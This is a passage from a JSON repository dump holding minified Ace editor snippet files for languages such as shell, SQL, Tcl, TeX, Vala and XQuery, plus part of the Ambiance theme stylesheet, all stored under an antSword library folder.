in\\n\t\t${3:o0})\\n\t\t\t${4:#staments};;\\n\t\tesac\\n\tdone\\n# Set SCRIPT_DIR variable to directory script is located.\\nsnippet sdir\\n\tSCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\\n# getopt\\nsnippet getopt\\n\t__ScriptVersion=\"${1:version}\"\\n\\n\t#===  FUNCTION  ================================================================\\n\t#         NAME:  usage\\n\t#  DESCRIPTION:  Display usage information.\\n\t#===============================================================================\\n\tfunction usage ()\\n\t{\\n\t\t\tcat <<- EOT\\n\\n\t  Usage :  $${0:0} [options] [--] \\n\\n\t  Options: \\n\t  -h|help       Display this message\\n\t  -v|version    Display script version\\n\\n\t\t\tEOT\\n\t}    # ----------  end of function usage  ----------\\n\\n\t#-----------------------------------------------------------------------\\n\t#  Handle command line arguments\\n\t#-----------------------------------------------------------------------\\n\\n\twhile getopts \":hv\" opt\\n\tdo\\n\t  case $opt in\\n\\n\t\th|help     )  usage; exit 0   ;;\\n\\n\t\tv|version  )  echo \"$${0:0} -- Version $__ScriptVersion\"; exit 0   ;;\\n\\n\t\t\\\\? )  echo -e \"\\\\n  Option does not exist : $OPTARG\\\\n\"\\n\t\t\t  usage; exit 1   ;;\\n\\n\t  esac    # --- end of case ---\\n\tdone\\n\tshift $(($OPTIND-1))\\n\\n',t.scope=\"sh\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/sjs.js",
    "content": "ace.define(\"ace/snippets/sjs\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"sjs\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/smarty.js",
    "content": "ace.define(\"ace/snippets/smarty\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"smarty\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/snippets.js",
    "content": "ace.define(\"ace/snippets/snippets\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# snippets for making snippets :)\\nsnippet snip\\n\tsnippet ${1:trigger}\\n\t\t${2}\\nsnippet msnip\\n\tsnippet ${1:trigger} ${2:description}\\n\t\t${3}\\nsnippet v\\n\t{VISUAL}\\n\",t.scope=\"snippets\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/soy_template.js",
    "content": "ace.define(\"ace/snippets/soy_template\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"soy_template\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/space.js",
    "content": "ace.define(\"ace/snippets/space\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"space\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/sql.js",
    "content": "ace.define(\"ace/snippets/sql\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"snippet tbl\\n\tcreate table ${1:table} (\\n\t\t${2:columns}\\n\t);\\nsnippet col\\n\t${1:name}\t${2:type}\t${3:default ''}\t${4:not null}\\nsnippet ccol\\n\t${1:name}\tvarchar2(${2:size})\t${3:default ''}\t${4:not null}\\nsnippet ncol\\n\t${1:name}\tnumber\t${3:default 0}\t${4:not null}\\nsnippet dcol\\n\t${1:name}\tdate\t${3:default sysdate}\t${4:not null}\\nsnippet ind\\n\tcreate index ${3:$1_$2} on ${1:table}(${2:column});\\nsnippet uind\\n\tcreate unique index ${1:name} on ${2:table}(${3:column});\\nsnippet tblcom\\n\tcomment on table ${1:table} is '${2:comment}';\\nsnippet colcom\\n\tcomment on column ${1:table}.${2:column} is '${3:comment}';\\nsnippet addcol\\n\talter table ${1:table} add (${2:column} ${3:type});\\nsnippet seq\\n\tcreate sequence ${1:name} start with ${2:1} increment by ${3:1} minvalue ${4:1};\\nsnippet s*\\n\tselect * from ${1:table}\\n\",t.scope=\"sql\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/sqlserver.js",
    "content": "ace.define(\"ace/snippets/sqlserver\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# ISNULL\\nsnippet isnull\\n\tISNULL(${1:check_expression}, ${2:replacement_value})\\n# FORMAT\\nsnippet format\\n\tFORMAT(${1:value}, ${2:format})\\n# CAST\\nsnippet cast\\n\tCAST(${1:expression} AS ${2:data_type})\\n# CONVERT\\nsnippet convert\\n\tCONVERT(${1:data_type}, ${2:expression})\\n# DATEPART\\nsnippet datepart\\n\tDATEPART(${1:datepart}, ${2:date})\\n# DATEDIFF\\nsnippet datediff\\n\tDATEDIFF(${1:datepart}, ${2:startdate}, ${3:enddate})\\n# DATEADD\\nsnippet dateadd\\n\tDATEADD(${1:datepart}, ${2:number}, ${3:date})\\n# DATEFROMPARTS \\nsnippet datefromparts\\n\tDATEFROMPARTS(${1:year}, ${2:month}, ${3:day})\\n# OBJECT_DEFINITION\\nsnippet objectdef\\n\tSELECT OBJECT_DEFINITION(OBJECT_ID('${1:sys.server_permissions /*object name*/}'))\\n# STUFF XML\\nsnippet stuffxml\\n\tSTUFF((SELECT ', ' + ${1:ColumnName}\\n\t\tFROM ${2:TableName}\\n\t\tWHERE ${3:WhereClause}\\n\t\tFOR XML PATH('')), 1, 1, '') AS ${4:Alias}\\n\t${5:/*https://msdn.microsoft.com/en-us/library/ms188043.aspx*/}\\n# Create Procedure\\nsnippet createproc\\n\t-- =============================================\\n\t-- Author:\t\t${1:Author}\\n\t-- Create date: ${2:Date}\\n\t-- Description:\t${3:Description}\\n\t-- =============================================\\n\tCREATE PROCEDURE ${4:Procedure_Name}\\n\t\t${5:/*Add the parameters for the stored procedure here*/}\\n\tAS\\n\tBEGIN\\n\t\t-- SET NOCOUNT ON added to prevent extra result sets from interfering with SELECT statements.\\n\t\tSET NOCOUNT ON;\\n\t\t\\n\t\t${6:/*Add the T-SQL statements to compute the return value here*/}\\n\t\t\\n\tEND\\n\tGO\\n# Create Scalar Function\\nsnippet createfn\\n\t-- =============================================\\n\t-- Author:\t\t${1:Author}\\n\t-- Create date: ${2:Date}\\n\t-- Description:\t${3:Description}\\n\t-- =============================================\\n\tCREATE FUNCTION ${4:Scalar_Function_Name}\\n\t\t-- Add the parameters for the function here\\n\tRETURNS ${5:Function_Data_Type}\\n\tAS\\n\tBEGIN\\n\t\tDECLARE @Result ${5:Function_Data_Type}\\n\t\t\\n\t\t${6:/*Add the T-SQL statements to compute the return value here*/}\\n\t\t\\n\tEND\\n\tGO\",t.scope=\"sqlserver\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/stylus.js",
    "content": "ace.define(\"ace/snippets/stylus\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"stylus\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/svg.js",
    "content": "ace.define(\"ace/snippets/svg\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"svg\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/tcl.js",
    "content": "ace.define(\"ace/snippets/tcl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"# #!/usr/bin/env tclsh\\nsnippet #!\\n\t#!/usr/bin/env tclsh\\n\t\\n# Process\\nsnippet pro\\n\tproc ${1:function_name} {${2:args}} {\\n\t\t${3:#body ...}\\n\t}\\n#xif\\nsnippet xif\\n\t${1:expr}? ${2:true} : ${3:false}\\n# Conditional\\nsnippet if\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t}\\n# Conditional if..else\\nsnippet ife\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t} else {\\n\t\t${3:# else...}\\n\t}\\n# Conditional if..elsif..else\\nsnippet ifee\\n\tif {${1}} {\\n\t\t${2:# body...}\\n\t} elseif {${3}} {\\n\t\t${4:# elsif...}\\n\t} else {\\n\t\t${5:# else...}\\n\t}\\n# If catch then\\nsnippet ifc\\n\tif { [catch {${1:#do something...}} ${2:err}] } {\\n\t\t${3:# handle failure...}\\n\t}\\n# Catch\\nsnippet catch\\n\tcatch {${1}} ${2:err} ${3:options}\\n# While Loop\\nsnippet wh\\n\twhile {${1}} {\\n\t\t${2:# body...}\\n\t}\\n# For Loop\\nsnippet for\\n\tfor {set ${2:var} 0} {$$2 < ${1:count}} {${3:incr} $2} {\\n\t\t${4:# body...}\\n\t}\\n# Foreach Loop\\nsnippet fore\\n\tforeach ${1:x} {${2:#list}} {\\n\t\t${3:# body...}\\n\t}\\n# after ms script...\\nsnippet af\\n\tafter ${1:ms} ${2:#do something}\\n# after cancel id\\nsnippet afc\\n\tafter cancel ${1:id or script}\\n# after idle\\nsnippet afi\\n\tafter idle ${1:script}\\n# after info id\\nsnippet afin\\n\tafter info ${1:id}\\n# Expr\\nsnippet exp\\n\texpr {${1:#expression here}}\\n# Switch\\nsnippet sw\\n\tswitch ${1:var} {\\n\t\t${3:pattern 1} {\\n\t\t\t${4:#do something}\\n\t\t}\\n\t\tdefault {\\n\t\t\t${2:#do something}\\n\t\t}\\n\t}\\n# Case\\nsnippet ca\\n\t${1:pattern} {\\n\t\t${2:#do something}\\n\t}${3}\\n# Namespace eval\\nsnippet ns\\n\tnamespace eval ${1:path} {${2:#script...}}\\n# Namespace current\\nsnippet nsc\\n\tnamespace current\\n\",t.scope=\"tcl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/tex.js",
    "content": "ace.define(\"ace/snippets/tex\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=\"#PREAMBLE\\n#newcommand\\nsnippet nc\\n\t\\\\newcommand{\\\\${1:cmd}}[${2:opt}]{${3:realcmd}}${4}\\n#usepackage\\nsnippet up\\n\t\\\\usepackage[${1:[options}]{${2:package}}\\n#newunicodechar\\nsnippet nuc\\n\t\\\\newunicodechar{${1}}{${2:\\\\ensuremath}${3:tex-substitute}}}\\n#DeclareMathOperator\\nsnippet dmo\\n\t\\\\DeclareMathOperator{${1}}{${2}}\\n\\n#DOCUMENT\\n# \\\\begin{}...\\\\end{}\\nsnippet begin\\n\t\\\\begin{${1:env}}\\n\t\t${2}\\n\t\\\\end{$1}\\n# Tabular\\nsnippet tab\\n\t\\\\begin{${1:tabular}}{${2:c}}\\n\t${3}\\n\t\\\\end{$1}\\nsnippet thm\\n\t\\\\begin[${1:author}]{${2:thm}}\\n\t${3}\\n\t\\\\end{$1}\\nsnippet center\\n\t\\\\begin{center}\\n\t\t${1}\\n\t\\\\end{center}\\n# Align(ed)\\nsnippet ali\\n\t\\\\begin{align${1:ed}}\\n\t\t${2}\\n\t\\\\end{align$1}\\n# Gather(ed)\\nsnippet gat\\n\t\\\\begin{gather${1:ed}}\\n\t\t${2}\\n\t\\\\end{gather$1}\\n# Equation\\nsnippet eq\\n\t\\\\begin{equation}\\n\t\t${1}\\n\t\\\\end{equation}\\n# Equation\\nsnippet eq*\\n\t\\\\begin{equation*}\\n\t\t${1}\\n\t\\\\end{equation*}\\n# Unnumbered Equation\\nsnippet \\\\\\n\t\\\\[\\n\t\t${1}\\n\t\\\\]\\n# Enumerate\\nsnippet enum\\n\t\\\\begin{enumerate}\\n\t\t\\\\item ${1}\\n\t\\\\end{enumerate}\\n# Itemize\\nsnippet itemize\\n\t\\\\begin{itemize}\\n\t\t\\\\item ${1}\\n\t\\\\end{itemize}\\n# Description\\nsnippet desc\\n\t\\\\begin{description}\\n\t\t\\\\item[${1}] ${2}\\n\t\\\\end{description}\\n# Matrix\\nsnippet mat\\n\t\\\\begin{${1:p/b/v/V/B/small}matrix}\\n\t\t${2}\\n\t\\\\end{$1matrix}\\n# Cases\\nsnippet cas\\n\t\\\\begin{cases}\\n\t\t${1:equation}, &\\\\text{ if }${2:case}\\\\\\\\\\n\t\t${3}\\n\t\\\\end{cases}\\n# Split\\nsnippet spl\\n\t\\\\begin{split}\\n\t\t${1}\\n\t\\\\end{split}\\n# Part\\nsnippet part\\n\t\\\\part{${1:part name}} % (fold)\\n\t\\\\label{prt:${2:$1}}\\n\t${3}\\n\t% part $2 (end)\\n# Chapter\\nsnippet cha\\n\t\\\\chapter{${1:chapter name}}\\n\t\\\\label{cha:${2:$1}}\\n\t${3}\\n# Section\\nsnippet sec\\n\t\\\\section{${1:section name}}\\n\t\\\\label{sec:${2:$1}}\\n\t${3}\\n# Sub Section\\nsnippet sub\\n\t\\\\subsection{${1:subsection name}}\\n\t\\\\label{sub:${2:$1}}\\n\t${3}\\n# Sub Sub Section\\nsnippet subs\\n\t\\\\subsubsection{${1:subsubsection name}}\\n\t\\\\label{ssub:${2:$1}}\\n\t${3}\\n# Paragraph\\nsnippet par\\n\t\\\\paragraph{${1:paragraph name}}\\n\t\\\\label{par:${2:$1}}\\n\t${3}\\n# Sub Paragraph\\nsnippet subp\\n\t\\\\subparagraph{${1:subparagraph name}}\\n\t\\\\label{subp:${2:$1}}\\n\t${3}\\n#References\\nsnippet itd\\n\t\\\\item[${1:description}] ${2:item}\\nsnippet figure\\n\t${1:Figure}~\\\\ref{${2:fig:}}${3}\\nsnippet table\\n\t${1:Table}~\\\\ref{${2:tab:}}${3}\\nsnippet listing\\n\t${1:Listing}~\\\\ref{${2:list}}${3}\\nsnippet section\\n\t${1:Section}~\\\\ref{${2:sec:}}${3}\\nsnippet page\\n\t${1:page}~\\\\pageref{${2}}${3}\\nsnippet index\\n\t\\\\index{${1:index}}${2}\\n#Citations\\nsnippet cite\\n\t\\\\cite[${1}]{${2}}${3}\\nsnippet fcite\\n\t\\\\footcite[${1}]{${2}}${3}\\n#Formating text: italic, bold, underline, small capital, emphase ..\\nsnippet it\\n\t\\\\textit{${1:text}}\\nsnippet bf\\n\t\\\\textbf{${1:text}}\\nsnippet under\\n\t\\\\underline{${1:text}}\\nsnippet emp\\n\t\\\\emph{${1:text}}\\nsnippet sc\\n\t\\\\textsc{${1:text}}\\n#Choosing font\\nsnippet sf\\n\t\\\\textsf{${1:text}}\\nsnippet rm\\n\t\\\\textrm{${1:text}}\\nsnippet tt\\n\t\\\\texttt{${1:text}}\\n#misc\\nsnippet ft\\n\t\\\\footnote{${1:text}}\\nsnippet fig\\n\t\\\\begin{figure}\\n\t\\\\begin{center}\\n\t    \\\\includegraphics[scale=${1}]{Figures/${2}}\\n\t\\\\end{center}\\n\t\\\\caption{${3}}\\n\t\\\\label{fig:${4}}\\n\t\\\\end{figure}\\nsnippet tikz\\n\t\\\\begin{figure}\\n\t\\\\begin{center}\\n\t\\\\begin{tikzpicture}[scale=${1:1}]\\n\t\t${2}\\n\t\\\\end{tikzpicture}\\n\t\\\\end{center}\\n\t\\\\caption{${3}}\\n\t\\\\label{fig:${4}}\\n\t\\\\end{figure}\\n#math\\nsnippet stackrel\\n\t\\\\stackrel{${1:above}}{${2:below}} ${3}\\nsnippet frac\\n\t\\\\frac{${1:num}}{${2:denom}}\\nsnippet sum\\n\t\\\\sum^{${1:n}}_{${2:i=1}}{${3}}\",t.scope=\"tex\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/text.js",
    "content": "ace.define(\"ace/snippets/text\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"text\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/textile.js",
    "content": "ace.define(\"ace/snippets/textile\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# Jekyll post header\\nsnippet header\\n\t---\\n\ttitle: ${1:title}\\n\tlayout: post\\n\tdate: ${2:date} ${3:hour:minute:second} -05:00\\n\t---\\n\\n# Image\\nsnippet img\\n\t!${1:url}(${2:title}):${3:link}!\\n\\n# Table\\nsnippet |\\n\t|${1}|${2}\\n\\n# Link\\nsnippet link\\n\t\"${1:link text}\":${2:url}\\n\\n# Acronym\\nsnippet (\\n\t(${1:Expand acronym})${2}\\n\\n# Footnote\\nsnippet fn\\n\t[${1:ref number}] ${3}\\n\\n\tfn$1. ${2:footnote}\\n\t\\n',t.scope=\"textile\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/toml.js",
    "content": "ace.define(\"ace/snippets/toml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"toml\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/twig.js",
    "content": "ace.define(\"ace/snippets/twig\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"twig\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/typescript.js",
    "content": "ace.define(\"ace/snippets/typescript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"typescript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/vala.js",
    "content": "ace.define(\"ace/snippets/vala\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippets=[{content:\"case ${1:condition}:\\n\t$0\\n\tbreak;\\n\",name:\"case\",scope:\"vala\",tabTrigger:\"case\"},{content:\"/**\\n * ${6}\\n */\\n${1:public} class ${2:MethodName}${3: : GLib.Object} {\\n\\n\t/**\\n\t * ${7}\\n\t */\\n\tpublic ${2}(${4}) {\\n\t\t${5}\\n\t}\\n\\n\t$0\\n}\",name:\"class\",scope:\"vala\",tabTrigger:\"class\"},{content:\"(${1}) => {\\n\t${0}\\n}\\n\",name:\"closure\",scope:\"vala\",tabTrigger:\"=>\"},{content:\"/*\\n * $0\\n */\",name:\"Comment (multiline)\",scope:\"vala\",tabTrigger:\"/*\"},{content:\"Console.WriteLine($1);\\n$0\",name:\"Console.WriteLine (writeline)\",scope:\"vala\",tabTrigger:\"writeline\"},{content:'[DBus(name = \"$0\")]',name:\"DBus annotation\",scope:\"vala\",tabTrigger:\"[DBus\"},{content:\"delegate ${1:void} ${2:DelegateName}($0);\",name:\"delegate\",scope:\"vala\",tabTrigger:\"delegate\"},{content:\"do {\\n\t$0\\n} while ($1);\\n\",name:\"do while\",scope:\"vala\",tabTrigger:\"dowhile\"},{content:\"/**\\n * $0\\n */\",name:\"DocBlock\",scope:\"vala\",tabTrigger:\"/**\"},{content:\"else if ($1) {\\n\t$0\\n}\\n\",name:\"else if (elseif)\",scope:\"vala\",tabTrigger:\"elseif\"},{content:\"else {\\n\t$0\\n}\",name:\"else\",scope:\"vala\",tabTrigger:\"else\"},{content:\"enum {$1:EnumName} {\\n\t$0\\n}\",name:\"enum\",scope:\"vala\",tabTrigger:\"enum\"},{content:\"public errordomain ${1:Error} {\\n\t$0\\n}\",name:\"error domain\",scope:\"vala\",tabTrigger:\"errordomain\"},{content:\"for ($1;$2;$3) {\\n\t$0\\n}\",name:\"for\",scope:\"vala\",tabTrigger:\"for\"},{content:\"foreach ($1 in $2) {\\n\t$0\\n}\",name:\"foreach\",scope:\"vala\",tabTrigger:\"foreach\"},{content:\"Gee.ArrayList<${1:G}>($0);\",name:\"Gee.ArrayList\",scope:\"vala\",tabTrigger:\"ArrayList\"},{content:\"Gee.HashMap<${1:K},${2:V}>($0);\",name:\"Gee.HashMap\",scope:\"vala\",tabTrigger:\"HashMap\"},{content:\"Gee.HashSet<${1:G}>($0);\",name:\"Gee.HashSet\",scope:\"vala\",tabTrigger:\"HashSet\"},{content:\"if ($1) {\\n\t$0\\n}\",name:\"if\",scope:\"vala\",tabTrigger:\"if\"},{content:\"interface ${1:InterfaceName}{$2: : SuperInterface} {\\n\t$0\\n}\",name:\"interface\",scope:\"vala\",tabTrigger:\"interface\"},{content:\"public static int main(string [] argv) {\\n\t${0}\\n\treturn 0;\\n}\",name:\"Main function\",scope:\"vala\",tabTrigger:\"main\"},{content:\"namespace $1 {\\n\t$0\\n}\\n\",name:\"namespace (ns)\",scope:\"vala\",tabTrigger:\"ns\"},{content:\"stdout.printf($0);\",name:\"printf\",scope:\"vala\",tabTrigger:\"printf\"},{content:\"${1:public} ${2:Type} ${3:Name} {\\n\tset {\\n\t\t$0\\n\t}\\n\tget {\\n\\n\t}\\n}\",name:\"property (prop)\",scope:\"vala\",tabTrigger:\"prop\"},{content:\"${1:public} ${2:Type} ${3:Name} {\\n\tget {\\n\t\t$0\\n\t}\\n}\",name:\"read-only property (roprop)\",scope:\"vala\",tabTrigger:\"roprop\"},{content:'@\"${1:\\\\$var}\"',name:\"String template (@)\",scope:\"vala\",tabTrigger:\"@\"},{content:\"struct ${1:StructName} {\\n\t$0\\n}\",name:\"struct\",scope:\"vala\",tabTrigger:\"struct\"},{content:\"switch ($1) {\\n\t$0\\n}\",name:\"switch\",scope:\"vala\",tabTrigger:\"switch\"},{content:\"try {\\n\t$2\\n} catch (${1:Error} e) {\\n\t$0\\n}\",name:\"try/catch\",scope:\"vala\",tabTrigger:\"try\"},{content:'\"\"\"$0\"\"\";',name:'Verbatim string (\"\"\")',scope:\"vala\",tabTrigger:\"verbatim\"},{content:\"while ($1) {\\n\t$0\\n}\",name:\"while\",scope:\"vala\",tabTrigger:\"while\"}],t.scope=\"\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/vbscript.js",
    "content": "ace.define(\"ace/snippets/vbscript\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"vbscript\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/velocity.js",
    "content": "ace.define(\"ace/snippets/velocity\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='# macro\\nsnippet #macro\\n\t#macro ( ${1:macroName} ${2:\\\\$var1, [\\\\$var2, ...]} )\\n\t\t${3:## macro code}\\n\t#end\\n# foreach\\nsnippet #foreach\\n\t#foreach ( ${1:\\\\$item} in ${2:\\\\$collection} )\\n\t\t${3:## foreach code}\\n\t#end\\n# if\\nsnippet #if\\n\t#if ( ${1:true} )\\n\t\t${0}\\n\t#end\\n# if ... else\\nsnippet #ife\\n\t#if ( ${1:true} )\\n\t\t${2}\\n\t#else\\n\t\t${0}\\n\t#end\\n#import\\nsnippet #import\\n\t#import ( \"${1:path/to/velocity/format}\" )\\n# set\\nsnippet #set\\n\t#set ( $${1:var} = ${0} )\\n',t.scope=\"velocity\",t.includeScopes=[\"html\",\"javascript\",\"css\"]})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/verilog.js",
    "content": "ace.define(\"ace/snippets/verilog\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"verilog\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/vhdl.js",
    "content": "ace.define(\"ace/snippets/vhdl\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"vhdl\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/xml.js",
    "content": "ace.define(\"ace/snippets/xml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"xml\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/xquery.js",
    "content": "ace.define(\"ace/snippets/xquery\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText='snippet for\\n\tfor $${1:item} in ${2:expr}\\nsnippet return\\n\treturn ${1:expr}\\nsnippet import\\n\timport module namespace ${1:ns} = \"${2:http://www.example.com/}\";\\nsnippet some\\n\tsome $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet every\\n\tevery $${1:varname} in ${2:expr} satisfies ${3:expr}\\nsnippet if\\n\tif(${1:true}) then ${2:expr} else ${3:true}\\nsnippet switch\\n\tswitch(${1:\"foo\"})\\n\tcase ${2:\"foo\"}\\n\treturn ${3:true}\\n\tdefault return ${4:false}\\nsnippet try\\n\ttry { ${1:expr} } catch ${2:*} { ${3:expr} }\\nsnippet tumbling\\n\tfor tumbling window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet sliding\\n\tfor sliding window $${1:varname} in ${2:expr}\\n\tstart at $${3:start} when ${4:expr}\\n\tend at $${5:end} when ${6:expr}\\n\treturn ${7:expr}\\nsnippet let\\n\tlet $${1:varname} := ${2:expr}\\nsnippet group\\n\tgroup by $${1:varname} := ${2:expr}\\nsnippet order\\n\torder by ${1:expr} ${2:descending}\\nsnippet stable\\n\tstable order by ${1:expr}\\nsnippet count\\n\tcount $${1:varname}\\nsnippet ordered\\n\tordered { ${1:expr} }\\nsnippet unordered\\n\tunordered { ${1:expr} }\\nsnippet treat \\n\ttreat as ${1:expr}\\nsnippet castable\\n\tcastable as ${1:atomicType}\\nsnippet cast\\n\tcast as ${1:atomicType}\\nsnippet typeswitch\\n\ttypeswitch(${1:expr})\\n\tcase ${2:type}  return ${3:expr}\\n\tdefault return ${4:expr}\\nsnippet var\\n\tdeclare variable $${1:varname} := ${2:expr};\\nsnippet fn\\n\tdeclare function ${1:ns}:${2:name}(){\\n\t${3:expr}\\n\t};\\nsnippet module\\n\tmodule namespace ${1:ns} = \"${2:http://www.example.com}\";\\n',t.scope=\"xquery\"})"
  },
  {
    "path": "antSword/static/libs/ace/snippets/yaml.js",
    "content": "ace.define(\"ace/snippets/yaml\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.snippetText=undefined,t.scope=\"yaml\"})"
  },
  {
    "path": "antSword/static/libs/ace/theme-ambiance.js",
    "content": "ace.define(\"ace/theme/ambiance\",[\"require\",\"exports\",\"module\",\"ace/lib/dom\"],function(e,t,n){t.isDark=!0,t.cssClass=\"ace-ambiance\",t.cssText=\".ace-ambiance .ace_gutter {background-color: #3d3d3d;background-image: -moz-linear-gradient(left, #3D3D3D, #333);background-image: -ms-linear-gradient(left, #3D3D3D, #333);background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#3D3D3D), to(#333));background-image: -webkit-linear-gradient(left, #3D3D3D, #333);background-image: -o-linear-gradient(left, #3D3D3D, #333);background-image: linear-gradient(left, #3D3D3D, #333);background-repeat: repeat-x;border-right: 1px solid #4d4d4d;text-shadow: 0px 1px 1px #4d4d4d;color: #222;}.ace-ambiance .ace_gutter-layer {background: repeat left top;}.ace-ambiance .ace_gutter-active-line {background-color: #3F3F3F;}.ace-ambiance .ace_fold-widget {text-align: center;}.ace-ambiance .ace_fold-widget:hover {color: #777;}.ace-ambiance .ace_fold-widget.ace_start,.ace-ambiance .ace_fold-widget.ace_end,.ace-ambiance .ace_fold-widget.ace_closed{background: none;border: none;box-shadow: none;}.ace-ambiance .ace_fold-widget.ace_start:after {content: '\\u25be'}.ace-ambiance .ace_fold-widget.ace_end:after {content: '\\u25b4'}.ace-ambiance .ace_fold-widget.ace_closed:after {content: '\\u2023'}.ace-ambiance .ace_print-margin {border-left: 1px dotted #2D2D2D;right: 0;background: #262626;}.ace-ambiance .ace_scroller {-webkit-box-shadow: inset 0 0 10px black;-moz-box-shadow: inset 0 0 10px black;-o-box-shadow: inset 0 0 10px black;box-shadow: inset 0 0 10px black;}.ace-ambiance {color: #E6E1DC;background-color: #202020;}.ace-ambiance .ace_cursor {border-left: 1px solid #7991E8;}.ace-ambiance .ace_overwrite-cursors .ace_cursor {border: 1px solid #FFE300;background: #766B13;}.ace-ambiance.normal-mode .ace_cursor-layer {z-index: 0;}.ace-ambiance .ace_marker-layer .ace_selection {background: rgba(221, 240, 255, 0.20);}.ace-ambiance .ace_marker-layer .ace_selected-word {border-radius: 4px;border: 8px solid #3f475d;box-shadow: 0 0 4px black;}.ace-ambiance .ace_marker-layer .ace_step {background: rgb(198, 219, 174);}.ace-ambiance .ace_marker-layer .ace_bracket {margin: -1px 0 0 -1px;border: 1px solid rgba(255, 255, 255, 0.25);}.ace-ambiance .ace_marker-layer .ace_active-line {background: rgba(255, 255, 255, 0.031);}.ace-ambiance .ace_invisible {color: #333;}.ace-ambiance .ace_paren {color: #24C2C7;}.ace-ambiance .ace_keyword {color: #cda869;}.ace-ambiance .ace_keyword.ace_operator {color: #fa8d6a;}.ace-ambiance .ace_punctuation.ace_operator {color: #fa8d6a;}.ace-ambiance .ace_identifier {}.ace-ambiance .ace-statement {color: #cda869;}.ace-ambiance .ace_constant {color: #CF7EA9;}.ace-ambiance .ace_constant.ace_language {color: #CF7EA9;}.ace-ambiance .ace_constant.ace_library {}.ace-ambiance .ace_constant.ace_numeric {color: #78CF8A;}.ace-ambiance .ace_invalid {text-decoration: underline;}.ace-ambiance .ace_invalid.ace_illegal {color:#F8F8F8;background-color: rgba(86, 45, 86, 0.75);}.ace-ambiance .ace_invalid,.ace-ambiance .ace_deprecated {text-decoration: underline;font-style: italic;color: #D2A8A1;}.ace-ambiance .ace_support {color: #9B859D;}.ace-ambiance .ace_support.ace_function {color: #DAD085;}.ace-ambiance .ace_function.ace_buildin {color: #9b859d;}.ace-ambiance .ace_string {color: #8f9d6a;}.ace-ambiance .ace_string.ace_regexp {color: #DAD085;}.ace-ambiance .ace_comment {font-style: italic;color: #555;}.ace-ambiance .ace_comment.ace_doc {}.ace-ambiance .ace_comment.ace_doc.ace_tag {color: #666;font-style: normal;}.ace-ambiance .ace_definition,.ace-ambiance .ace_type {color: #aac6e3;}.ace-ambiance .ace_variable {color: #9999cc;}.ace-ambiance .ace_variable.ace_language {color: #9b859d;}.ace-ambiance .ace_xml-pe {color: #494949;}.ace-ambiance .ace_gutter-layer,.ace-ambiance .ace_text-layer {background-image: 